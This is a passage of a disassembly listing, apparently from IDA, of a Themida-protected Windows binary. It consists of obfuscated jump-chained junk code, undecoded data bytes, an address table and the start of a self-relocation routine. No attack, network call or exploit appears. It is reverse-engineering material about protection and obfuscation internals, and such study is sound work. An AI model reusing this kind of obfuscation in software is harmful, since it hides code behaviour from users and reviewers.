; ---------------------------------------------------------------------------


loc_55BE38:				; CODE XREF: Themida_:0055252Aj
		pop	ecx
		or	ecx, eax
		pop	eax
		push	ebx
		push	eax
		mov	eax, 98A2B859h
		mov	ebx, eax
		jmp	loc_55A6E4
; ---------------------------------------------------------------------------


loc_55BE4A:				; CODE XREF: Themida_:0055BA8Cj
		xor	esi, [esp]
		pop	esp
		mov	[esp], ebp
		push	ebx
		jmp	loc_554D88
; ---------------------------------------------------------------------------


loc_55BE57:				; CODE XREF: Themida_:00551994j
		dec	eax
		jmp	loc_558206
; ---------------------------------------------------------------------------
		db 0BAh, 0EEh, 62h
		dd 3DE94E6Fh, 81FFFFA5h, 0E7B499EDh, 0E9EB31A4h, 0FFFF8DDEh
		dd 405E089h, 0E9000000h, 0AD9h
; ---------------------------------------------------------------------------


loc_55BE80:				; CODE XREF: Themida_:0055605Bj
		push	edi
		mov	edi, 79C65D9Ah
		shr	edi, 2
		jmp	loc_55802D
; ---------------------------------------------------------------------------


loc_55BE8E:				; CODE XREF: Themida_:00554CB6j
		sub	esp, 4
		mov	[esp], edx
		neg	dword ptr [esp]
		pop	edx
		jmp	loc_559607
; ---------------------------------------------------------------------------
		dd 0BB53D801h, 5BD26762h, 5B5BD829h, 81E68956h,	4C6h, 4EE8100h
		dd 56000000h, 42474FFh,	8324348Bh, 48F04C4h, 0EA53E924h
		dd 0FF57FFFFh, 0E9042474h, 0FFFF49C3h, 6E01C281h, 0CA29423Dh
		dd 6E01EA81h, 0C281423Dh, 46CE5FE1h, 24148759h,	6624248Bh
		dd 0E9240489h, 0FFFF4897h
; ---------------------------------------------------------------------------


loc_55BEFC:				; CODE XREF: Themida_:0055416Bj
		mov	edi, 15931A08h
		jmp	loc_5560FF
; ---------------------------------------------------------------------------


loc_55BF06:				; CODE XREF: Themida_:00553D7Cj
		inc	ebx
		jmp	loc_550A7B
; ---------------------------------------------------------------------------
		dd 4EC8356h, 0BD242C89h, 1D7F6E29h, 24048155h, 25417515h
		dd 15EE815Eh, 0E9254175h, 0FFFF9F13h
; ---------------------------------------------------------------------------


loc_55BF2C:				; CODE XREF: Themida_:0055306Dj
		mov	edx, 4
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_5581D8
; ---------------------------------------------------------------------------
		db 1
		dd 0BF575EF2h, 2, 525FFA01h, 42474FFh, 8124148Bh, 4C4h
		dd 24048F00h, 0FFC02BE9h, 0F7F287FFh, 0E9F287DEh, 0FFFFAF43h
		dd 57240489h, 3C3585BFh, 5FF8892Eh, 0FF6DC9E9h,	0FA0158FFh
		dd 2414335Fh, 0FFE03DE9h, 89515AFFh, 4C181E1h, 83000000h
		dd 0C8704C1h, 24248B24h, 0FF47EAE9h, 0BBBB53FFh, 8951F02Fh
		dd 733DE9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BFB6:				; CODE XREF: Themida_:00550939j
		add	esp, 4
		jmp	loc_554CB4
; ---------------------------------------------------------------------------


loc_55BFC1:				; CODE XREF: Themida_:00552B5Fj
		sub	ecx, 393E5E01h
		sub	ecx, ebp
		push	edx
		mov	edx, 34E454CBh
		and	edx, 68B91DE3h
		jmp	loc_55A350
; ---------------------------------------------------------------------------


loc_55BFDA:				; CODE XREF: Themida_:0055B1EFj
		xchg	ebx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		jmp	loc_555B8C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 30FF2424h, 0FFB259E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BFF1:				; CODE XREF: Themida_:0055187Dj
		sub	dh, ch
		pop	cx
		or	dh, 56h
		push	ecx
		mov	cl, 5Eh
		dec	cl
		neg	cl
		dec	cl
		sub	esp, 2
		jmp	loc_55BCC6
; ---------------------------------------------------------------------------
		dd 77E9EB29h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C013:				; CODE XREF: Themida_:00559E95j
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebx
		jmp	loc_553CFA
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 243C8904h, 447F8CBFh, 64C78151h, 8116580Bh, 10F056C7h
		dd 5FF8010Dh, 595CBB53h, 0D8013A92h, 2DE8015Bh,	3A92595Ch
		dd 0AD7B462Dh, 242C8B74h, 8104C483h, 8F3208C3h,	0F562E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C062:				; CODE XREF: Themida_:00550F84j
		mov	eax, 4
		jmp	loc_55BB4A
; ---------------------------------------------------------------------------


loc_55C06C:				; CODE XREF: Themida_:00559594j
		pop	ebx
		sub	dh, ah
		sub	dh, 50h
		pop	eax
		xor	al, dh
		pop	edx
		jmp	loc_556CCC
; ---------------------------------------------------------------------------


loc_55C07B:				; CODE XREF: Themida_:00553923j
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		push	ecx
		mov	ecx, 46874BD4h
		jmp	loc_552BA3
; ---------------------------------------------------------------------------


loc_55C093:				; CODE XREF: Themida_:005519D8j
		not	edi
		xchg	edi, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_5532D0
; ---------------------------------------------------------------------------
		db 30h
		dd 0E8E92424h
		db 46h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C0AB:				; CODE XREF: Themida_:00550C02j
		push	ecx
		mov	ecx, 4
		push	ecx
		mov	ecx, 6B3A05C2h
		push	ecx
		dec	dword ptr [esp]
		pop	ecx
		inc	ecx
		jmp	loc_55164C
; ---------------------------------------------------------------------------


loc_55C0C2:				; CODE XREF: Themida_:00550827j
		pop	ebp
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	ebp
		mov	ebp, 54573022h
		sub	ebp, 3D155B79h
		jmp	loc_55B239
; ---------------------------------------------------------------------------
		db 50h
		dd 24048B54h, 5504C483h, 4BDh, 8BE80100h, 0C483242Ch, 6768E904h
		dd 2C81FFFFh, 0A914FF24h, 0D017E92Eh
		db 2 dup(0FFh)
aJHg		db '†$$hG^',0           ; DATA XREF: Themida_:005506CCo
		align 2
		dw 489h
		dd 24748624h, 6B68E901h, 2C89FFFFh, 2AFD6824h, 0C15D16B6h
		dd 0FD8702E5h, 0FFDBC5E9h, 1C8B5BFFh, 4C48324h,	24E9C330h
		dd 31FFFF5Fh, 14332414h, 24143124h, 5F2434FFh, 4EC81h
		dd 14890000h, 0E9E28924h, 0FFFF54B2h, 5E2434FFh, 4C481h
		dd 0BBE90000h, 0BBFFFFB6h, 6A2A3C6Ah, 0FF977BE9h, 240487FFh
		dd 0FFBB2BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C17D:				; CODE XREF: Themida_:00552666j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_550F3A
; ---------------------------------------------------------------------------
		db 89h
		dd 4BE2434h, 0E9000000h, 0FFFF6DE5h
; ---------------------------------------------------------------------------


loc_55C198:				; CODE XREF: Themida_:00559F19j
		add	eax, ebx
		add	eax, 0EC2124Eh
		jmp	loc_55839C
; ---------------------------------------------------------------------------
		dd 0DCE9C801h
		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C1AB:				; CODE XREF: Themida_:0055C2F6j
		push	ebp
		push	4C9466Fh
		pop	ebp
		inc	ebp
		add	ebp, 32470A80h
		mov	esi, ebp
		jmp	loc_5511C0
; ---------------------------------------------------------------------------
		dd 15FFA31h, 24148BD0h,	8304C483h, 48702C0h, 4D5CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C1D6:				; CODE XREF: Themida_:0055107Fj
		pop	ebx
		xor	[esp+4], ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55AD22
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_557FD9
; ---------------------------------------------------------------------------
		db 89h
		dd 7DBD55E1h, 0E937D150h, 0FFFFA5FFh, 3C8BFB01h, 9B7DE924h
		dd 1489FFFFh, 5591BA24h, 0B6B82349h, 81DCBBE3h,	4ECh, 24348900h
		dd 0FF66CFE9h, 245204FFh, 88EBE924h
		db 2 dup(0FFh)
word_55C232	dw 34FFh		; DATA XREF: Themida_:005506F4o
		dd 24048B24h, 4C481h, 0EC830000h, 241C8904h, 0C381E389h
		dd 4, 8704EB83h, 895C241Ch, 0EC83242Ch,	24248904h, 4B951h
		dd 4C010000h, 5D590424h, 4C581h, 0C5830000h, 242C3304h
		dd 33242C31h, 248B242Ch, 6101E924h
		db 2 dup(0FFh)
word_55C282	dw 0D568h		; DATA XREF: Themida_:00550700o
		dd 0E900002Fh, 0FFFF8CC5h
; ---------------------------------------------------------------------------


loc_55C28C:				; CODE XREF: Themida_:0055733Dj
		sub	ecx, 1
		jmp	loc_5507C3
; ---------------------------------------------------------------------------


loc_55C294:				; CODE XREF: Themida_:005530FFj
		push	ecx
		jmp	loc_555AD9
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 241C8904h, 0C381E389h, 4, 19B2BE56h,	0B9516258h, 36EF4080h
		dd 91D0F791h, 0B1EDF181h, 0CE29B403h, 80D9E959h, 0C483FFFFh
		dd 6DEB8104h, 573DB455h, 212D16BFh, 56D7F70Bh, 741737BEh
		dd 5260E933h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C2E2:				; CODE XREF: Themida_:00551FD3j
		xor	eax, [esp]
		jmp	loc_556D47
; ---------------------------------------------------------------------------


loc_55C2EA:				; CODE XREF: Themida_:00550CF9j
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], edi
		push	esi
		jmp	loc_55C1AB
; ---------------------------------------------------------------------------


loc_55C2FB:				; CODE XREF: Themida_:0055BAFAj
		xor	ebp, 63358BADh
		sub	edi, ebp
		pop	ebp
		mov	esi, edi
		pop	edi
		mov	eax, [esp]
		add	esp, 4
		mov	ebx, 30530DB9h
		jmp	loc_55581B
; ---------------------------------------------------------------------------


loc_55C317:				; CODE XREF: Themida_:005513B3j
		xor	dh, 69h
		add	dh, 68h
		jmp	loc_558FE9
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 703E68h, 241C8900h, 6B6519BBh, 8BDE0111h,	99E9241Ch
		dd 5DFFFF5Ch, 405h, 24048700h, 475FE95Ch, 8950FFFFh, 17DE9E0h
		dd 0C3810000h, 497952A5h, 0E9FB295Dh, 0FFFF7803h, 5D242C81h
		dd 8B2F6956h, 0B9E9242Ch
		db 44h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C373:				; CODE XREF: Themida_:0055B9A9j
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		dec	dword ptr [esp]
		pushf
		jmp	loc_550793
; ---------------------------------------------------------------------------


loc_55C38B:				; CODE XREF: Themida_:005530A2j
		pop	esp
		mov	[esp], edi
		pop	ebp
		pop	edi
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		push	ecx
		push	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebp
		push	4
		pop	ebp
		add	ecx, ebp
		jmp	loc_55B004
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 87000000h, 248B240Ch, 25FE924h, 1C890000h, 4BB24h, 0EE810000h
		dd 55423AA3h, 6CE9DE01h, 81FFFFC2h, 4C4h, 53D5F700h, 0FFFD86E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C3E5:				; CODE XREF: Themida_:00552DA7j
		push	604Ch
		mov	[esp], ebx
		push	eax
		mov	eax, 25755376h
		mov	ebx, 10D2313Ch
		xor	ebx, eax
		pop	eax
		add	eax, ebx
		pop	ebx
		sub	eax, ebp
		sub	eax, 35A7624Ah
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		push	esi
		mov	esi, 1EC55ECBh
		mov	ecx, esi
		pop	esi
		sub	ecx, 1F307384h
		not	ecx
		inc	ecx
		push	esi
		push	ebp
		jmp	loc_5524A2
; ---------------------------------------------------------------------------
		db 1, 0C7h, 81h
		dd 73AF3C7h, 14EF817Dh,	58336E5Ah, 0BD4F742Dh, 53F80109h
		dd 2D72EFBBh, 0C292E97Dh, 0C281FFFFh, 4, 4C281h, 14870000h
		dd 0C1815C24h, 17EE7333h, 8104E1C1h, 9B74C7C1h,	7BC18157h
		dd 1169D1Ah, 48759C8h, 24248B24h, 4BB0F66h, 14E99C24h
		dd 80FFFF43h, 0E980D1E1h, 7BC180DDh, 88CB8853h,	7994E9DEh
		db 2 dup(0FFh)
word_55C492	dw 8F66h		; DATA XREF: Themida_:005504D0o
		dd 42F9E902h, 6859FFFFh, 57FAh,	0BD242C89h, 4D9B395h, 5625002Dh
		dd 5E8015Ch, 5C562500h,	8B2434FFh, 7DE9242Ch, 81FFFF5Ch
		dd 83DBB2C6h, 5EF3315Fh, 7071E381h, 0C2E927A0h,	5FFFFBCh
		dd 4, 0FFDF19E9h, 50AEBFFFh, 0FB89549Fh, 81DBF75Fh, 99A37EF3h
		dd 8BDF01C6h, 0D4E9241Ch
		db 99h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C4F7:				; CODE XREF: Themida_:005571DDj
		mov	esi, 10h
		and	ebx, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	1E67h
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_554872
; ---------------------------------------------------------------------------
		dd 42474FFh, 81240C8Bh,	4C4h, 0CA60E900h, 55DFFFFh, 65F3450h
		dd 6154D72Dh, 2434FF22h, 0FF8CF7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C541:				; CODE XREF: Themida_:005577C0j
		pop	eax
		xor	ebx, 0EACA8CDAh
		mov	eax, ebx
		pop	ebx
		sub	[edi+24h], eax
		pop	eax


loc_55C54F:				; CODE XREF: Themida_:005520D7j
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_5591B4
; ---------------------------------------------------------------------------
		dd 0FFB8C281h, 8152FBF8h, 57442404h, 1C8B3C62h,	593EE924h
		dd 4FFFFFFh, 0E3815B24h, 311C390Ch, 3008EB81h, 0DD013118h
		dd 81241C8Bh, 4C4h, 4C58300h, 8B242C87h, 0FA012424h, 83243C8Bh
		dd 0ECE904C4h, 5CFFFF41h, 0FF41E6E9h, 2EAC1FFh,	603AE950h
		dd 8956FFFFh, 4C681E6h,	81000000h, 4EEh, 24348700h, 2414895Ch
		dd 42474FFh, 0FF920BE9h, 15F868FFh, 0C890000h, 0E9E18924h
		dd 0FFFF9F9Eh, 3DE9FE01h, 0FFFFFFD5h, 81592434h, 4C4h
		dd 0E9CB0100h, 3AAh
; ---------------------------------------------------------------------------


loc_55C5FC:				; CODE XREF: Themida_:005584B6j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_55328F
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 0AEh
		dd 497DC86Eh, 0B98FE949h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C616:				; CODE XREF: Themida_:005517D0j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55357E
; ---------------------------------------------------------------------------
		db 0Fh,	0C8h, 68h
		dd 42E3h, 0E9240489h, 0FFFF4163h, 0C15AD689h, 0EE8103EEh
		dd 0FDE5A5F8h, 0E1E9F029h
		db 0E0h, 2 dup(0FFh)
byte_55C643	db 0ACh			; DATA XREF: Themida_:00550608o
		dd 0B168D830h, 89000018h, 55E92414h, 8FFFFF8Ah,	0E9512404h
		dd 0FFFF8E4Bh, 0C581E589h, 4, 0FFD93DE9h, 6BE958FFh
		db 73h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C66F:				; CODE XREF: Themida_:00558D5Cj
		pop	ebx
		jmp	loc_55B8F5
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0C2h
		dd 2, 5C241487h, 240C8B66h, 7B6668h, 241C8900h,	0C3815B54h
		dd 4, 5927BE56h, 0F681272Ch, 272C5925h,	139768h, 242C8900h
		dd 0FF5714E9h, 242C68FFh, 0C890000h, 0B924h, 0D1290000h
		dd 0D131CA31h, 0C159CA31h, 0EA8102EAh, 3DDC646Eh, 0C3E9D101h
		dd 68FFFF55h, 675Ch, 89243489h,	50C268E6h, 2C890000h, 70E4BD24h
		dd 0F5815830h, 583070E0h, 2C8BEE01h, 4515E924h,	684BFFFFh
		dd 5C17h, 0F7241C89h, 815B2414h, 3F0C97F3h, 5BD98966h
		dd 81E68956h, 4C6h, 8318E900h, 0BD55FFFFh, 4, 0FF68D7E9h
		dd 0C6BA52FFh, 8175BF54h, 0BF54C2EAh, 5AD60175h, 5C243487h
		dd 4C781h, 0BE560000h, 2, 446E9h
		db 0
; ---------------------------------------------------------------------------


loc_55C74D:				; CODE XREF: Themida_:0055533Aj
		xor	eax, esi
		push	42ABh
		mov	[esp], ecx
		push	ebx
		push	esi
		jmp	loc_55ACD7
; ---------------------------------------------------------------------------
		dw 5D66h
		dd 41496866h, 24148966h, 0FF8C3EE9h, 0E78957FFh, 4C781h
		dd 0C7810000h, 4, 2474FF57h, 48F5F04h, 0FE1DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C78A:				; CODE XREF: Themida_:0055843Bj
		pop	edi
		xor	eax, esi
		pop	esi
		xor	ecx, eax
		pop	eax
		and	eax, ecx
		push	dword ptr [esp]
		jmp	loc_555DA1
; ---------------------------------------------------------------------------
		db 4
		dd 2CD00015h, 24148B15h, 0FF5C8FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C7A9:				; CODE XREF: Themida_:005547B9j
		add	ebp, 9B2904A6h
		mov	edx, ebp
		pop	ebp
		jmp	loc_552643
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF3FD7h, 6602EEC0h, 667EF668h, 0E9240489h, 0FFFF98B4h
		dd 5229E95Ch, 248BFFFFh, 8BD03024h, 0DEE92414h,	81FFFF5Eh
		dd 4C4h, 4CD5E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C7EA:				; CODE XREF: Themida_:0055B3E4j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	1705h
		mov	[esp], edi
		jmp	loc_5562C6
; ---------------------------------------------------------------------------
		dw 5366h
		dd 3FFB68h, 240C8900h, 5EBB6653h, 8C34E922h, 0D368FFFFh
		dd 89000049h, 0BF57241Ch, 7CEE1E6Fh, 315FFB89h,	0BE565BD8h
		dd 71543AF5h, 15EF529h,	0BBBF57C5h, 814D2356h, 776C4EF7h
		dd 53A5E93Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C846:				; CODE XREF: Themida_:0055753Fj
		xor	dword ptr [esp], 44835924h
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_559387
; ---------------------------------------------------------------------------
		dw 0B00Dh
		dd 562D916Ch, 8A1540BEh, 0E9D6F761h, 0FFFF8052h, 0BD242C89h
		dd 4FD118BEh, 2119ED81h, 0BF5761EBh, 3250099Dh,	0A7E9FD31h
		dd 28FFFF57h, 34FF5BF8h, 0C4835B24h, 0E9D82804h, 0FFFFF112h
		dd 0E9243489h, 0FFFFC01Fh, 81E28952h, 4C2h, 0B532E900h
		dd 0D9F7FFFFh, 4107E1C1h, 0EE03C181h, 0C801D204h, 83240C8Bh
		dd 15E904C4h, 0FFFFFF5Ch, 18E92434h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C8D3:				; CODE XREF: Themida_:0055A21Fj
		sub	esi, ecx
		pop	ecx
		add	esi, 4E5A2142h
		or	esi, 4F366665h
		shl	esi, 7
		neg	esi
		add	esi, 0BB3FFB84h
		add	ebp, esi
		pop	esi
		push	ebx
		mov	ebx, 68E8577Fh
		jmp	loc_55ADDB
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0FCEE81DEh, 29B6E671h, 88055EF0h, 1637701h, 0EFE955D0h
		db 45h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C913:				; CODE XREF: Themida_:00555EFCj
		mov	edx, 0
		mov	[edi+24h], edx
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_554221
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 43F8E924h, 7EB7FFFFh, 0C780CFFEh, 91CF80D7h,	0E9E1EF80h
		dd 0FFFF635Bh, 0A1E95253h
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C94F:				; CODE XREF: Themida_:005517E4j
		mov	edx, 237E6550h
		jmp	loc_5508F3
; ---------------------------------------------------------------------------
		db 83h,	0C0h, 2
		dd 8B240487h, 0D0F62424h, 0E905E0C0h, 0FFFF8389h, 0B551F028h
		dd 0A5F58044h, 805DCD80h, 0B35338E5h, 0E0EB8059h, 95E9CBFEh
		db 77h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C987:				; CODE XREF: Themida_:00552362j
		pop	ebp
		jmp	loc_553D79
; ---------------------------------------------------------------------------
		db 0BEh, 74h, 2Eh
		dd 0F1012C73h, 0FF9779E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C999:				; CODE XREF: Themida_:0055AED1j
		mov	edi, esp
		jmp	loc_55AF39
; ---------------------------------------------------------------------------
dword_55C9A0	dd 9844E9ACh, 5F59FFFFh, 0E4E9008Fh ; DATA XREF: Themida_:00550648o
		db 3Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C9AF:				; CODE XREF: Themida_:00557190j
		dec	ecx
		sub	ecx, 5FCF7EF9h
		add	edi, ecx
		pop	ecx
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		sub	[edi+24h], esi
		mov	esi, [esp]
		jmp	loc_551574
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0FFAAFBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C9D5:				; CODE XREF: Themida_:005525D8j
		push	0C1Dh
		mov	[esp], eax
		push	esp
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		push	esi
		mov	esi, 7A8C3F20h
		push	esi
		jmp	loc_555376
; ---------------------------------------------------------------------------
		dd 0AA5AFABEh, 0B6EE8124h, 812F0B23h, 0BBC786EEh, 8BF329D0h
		dd 78682434h, 8900007Dh, 0EBE9240Ch, 89FFFF8Eh,	0BDF8E9E5h
		dd 0B252FFFFh, 93C280DCh, 0FF624AE9h, 5ABD68FFh, 0EBE90000h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CA33:				; CODE XREF: Themida_:0055B361j
		mov	ebp, 4
		and	ecx, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		push	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_554BD4
; ---------------------------------------------------------------------------


loc_55CA51:				; CODE XREF: Themida_:00557FEEj
		mov	ebx, edi
		pop	edi
		shl	ebx, 7
		dec	ebx
		shl	ebx, 8
		not	ebx
		push	edx
		mov	edx, 6BEF80FBh
		sub	ebx, 75A408B7h
		sub	ebx, edx
		add	ebx, 75A408B7h
		pop	edx
		add	ebp, ebx
		pop	ebx
		push	edx
		jmp	loc_554A25
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 26F38100h, 0E9084D51h,	0FFFF8702h, 0E959CB89h
		dd 0FFFFA0C5h, 0E95BDC88h, 0FFFF9DC5h
; ---------------------------------------------------------------------------


loc_55CA9C:				; CODE XREF: Themida_:00555074j
		sub	edi, 6E826D32h
		jmp	loc_552273
; ---------------------------------------------------------------------------
byte_55CAA7	db 31h			; DATA XREF: Themida_:00550734o
		dd 3C33243Ch, 243C3124h, 0B158E957h
		db 2 dup(0FFh)
word_55CAB6	dw 77FFh		; DATA XREF: Themida_:005505A8o
		dd 11589D1Ch, 0E99C2404h, 0FFFF3CCFh, 2474FF55h, 48F5D04h
		dd 24248B24h, 0E930FF66h, 0FFFFC039h
dword_55CAD8	dd 9D1C77FFh, 4185866h,	0ACE99C24h, 31FFFF3Ch, 0F80158C7h
					; DATA XREF: Themida_:00550654o
		dd 0A55EE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CAF2:				; CODE XREF: Themida_:00553D26j
		sub	ebx, 274355Bh
		add	ebx, ecx
		push	ebp
		mov	ebp, 7EEC4DD4h
		push	ebx
		mov	ebx, 11FD1AA2h
		sub	ebp, ebx
		pop	ebx
		or	ebp, 71701A18h
		shr	ebp, 6
		neg	ebp
		inc	ebp
		sub	ebp, 0FB93CDBAh
		add	ebx, ebp
		jmp	loc_550EA4
; ---------------------------------------------------------------------------
		dw 8966h
		dd 66532414h, 666DFDBBh, 0A451E943h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CB32:				; CODE XREF: Themida_:00551F82j
		push	1C640AFAh
		pop	edi
		push	ecx
		mov	ecx, 718716C0h
		or	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4295008Dh
		neg	esi
		sub	esi, 0A4BAE7E7h
		and	edi, esi
		pop	esi
		jmp	loc_553D5C
; ---------------------------------------------------------------------------
		db 0BEh
		dd 61336178h, 4462C681h, 0C68153DFh, 19D403CEh,	0BA52CE29h
		dd 0C3B798Ch, 6036F281h, 0DDE92E3Ah, 8BFFFF7Ah,	13E92424h
		dd 81FFFF44h, 987484EFh, 7CDFE90Eh, 928CFFFFh, 51FDFFFFh
		dd 5DE1005Bh, 5990005Bh, 1AE9FFFFh, 86D90000h, 1AE9FA42h
		dd 2170000h, 20000h, 10000h, 0
		dd 86D90000h, 0FA42h, 4	dup(0)
		dd 91330000h, 89E50056h, 1F700056h, 0F81B0056h,	8BA00055h
		dd 21E0056h, 779C0056h,	27320056h, 9C0056h, 8760056h, 0F9EF0056h
		dd 0FF940055h, 45E80056h, 32280056h, 4BCE0056h,	5B770056h
		dd 0F6460056h, 33CE0056h, 16E90056h, 768A0057h,	0B4070056h
		dd 0B850056h, 5B490057h, 7EEC0056h, 0EAD20056h,	0F270055h
		dd 89120057h, 0FF7F0056h, 74440056h, 6C250056h,	2C1A0056h
		dd 1E90056h, 7E80056h, 0F1950056h, 62420056h, 0E3C20056h
		dd 0DE160055h, 0EDEB0055h, 0C9950056h, 9090056h, 0DF060056h
		dd 1EC80055h, 0D7EB0056h, 2F870055h, 696B0056h,	17950056h
		dd 0BF680056h, 0D2FB0056h, 0FCF90055h, 5A190056h, 71280056h
		dd 0F47C0056h, 0BF200056h, 6DAB0056h, 6D470056h, 0C4100056h
		dd 169D0056h, 0A2C0056h, 0E350057h, 0A9A10056h,	0AD0D0056h
		dd 19A0056h, 0D24D0056h, 0E6510055h, 0CE310056h, 0C81A0056h
		dd 7AC90056h, 45BF0056h, 1BA0056h, 2970057h, 5B1B0056h
		dd 184D0056h, 8D050056h, 89890056h, 96940056h, 9F180056h
		dd 45B90056h, 33C30056h, 15030056h, 0FAE20056h,	0D8DB0055h
		dd 0E8310056h, 0EDA60056h, 19860056h, 7F720057h, 2850056h
		dd 0EEC30056h, 0F5DF0056h, 0A8910056h, 0AA8A0056h, 0F9180056h
		dd 0E3700055h, 24AD0056h, 704F0057h, 2B8A0056h,	44380056h
		dd 0F39A0056h, 4B9A0056h, 38BF0056h, 6CE60056h,	0EFCF0056h
		dd 97270056h, 72E70056h, 9FCE0056h, 61730056h, 30D10056h
		dd 6E810056h, 0B51D0056h, 0F63D0056h, 0F9900056h, 69D90056h
		dd 0FD080056h, 25C50056h, 956F0057h, 43520056h,	78E70056h
		dd 0BD1B0056h, 916F0056h, 18820056h, 1C650056h,	7BC0057h
		dd 0D4060057h, 0F5C60055h, 0D9500055h, 0BB830055h, 18D90056h
		dd 0FD640057h, 42A10055h, 0C4390056h, 15D00056h, 0FEBA0056h
		dd 52600056h, 7D600056h, 0FE4D0056h, 0F5950055h, 92940055h
		dd 6D1D0056h, 0BF700056h, 78930056h, 0F88B0056h, 16160055h
		dd 80D70056h, 1BBB0056h, 46EF0056h, 0B480056h, 901F0057h
		dd 62F50056h, 0E6640056h, 0EC4A0056h, 8A530055h, 0AF80056h
		dd 59130056h, 5BF0056h,	56D30056h, 0EF040056h, 168A0056h
		dd 7E2C0057h, 72720056h, 129A0056h, 160056h, 0DBAA0056h
		dd 0E9FB0055h, 0BE4A0055h, 5EF50056h, 1D2E0056h, 0A7BE0057h
		dd 208E0056h
		db 56h,	0
; ---------------------------------------------------------------------------


loc_55CE7E:				; CODE XREF: Themida_:005A68EFj
					; Themida_:005B5D6Fj
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 61347ADh
		mov	eax, edi
		add	edi, 61344C5h
		cmp	eax, [edi+2Ch]
		jnz	short loc_55CE9C
		jmp	short loc_55CEAF
; ---------------------------------------------------------------------------


loc_55CE9C:				; CODE XREF: Themida_:0055CE98j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_55CEAB
; ---------------------------------------------------------------------------


loc_55CEA6:				; CODE XREF: Themida_:0055CEADj
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_55CEAB:				; CODE XREF: Themida_:0055CEA4j
		or	ecx, ecx
		jnz	short loc_55CEA6


loc_55CEAF:				; CODE XREF: Themida_:0055CE9Aj
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


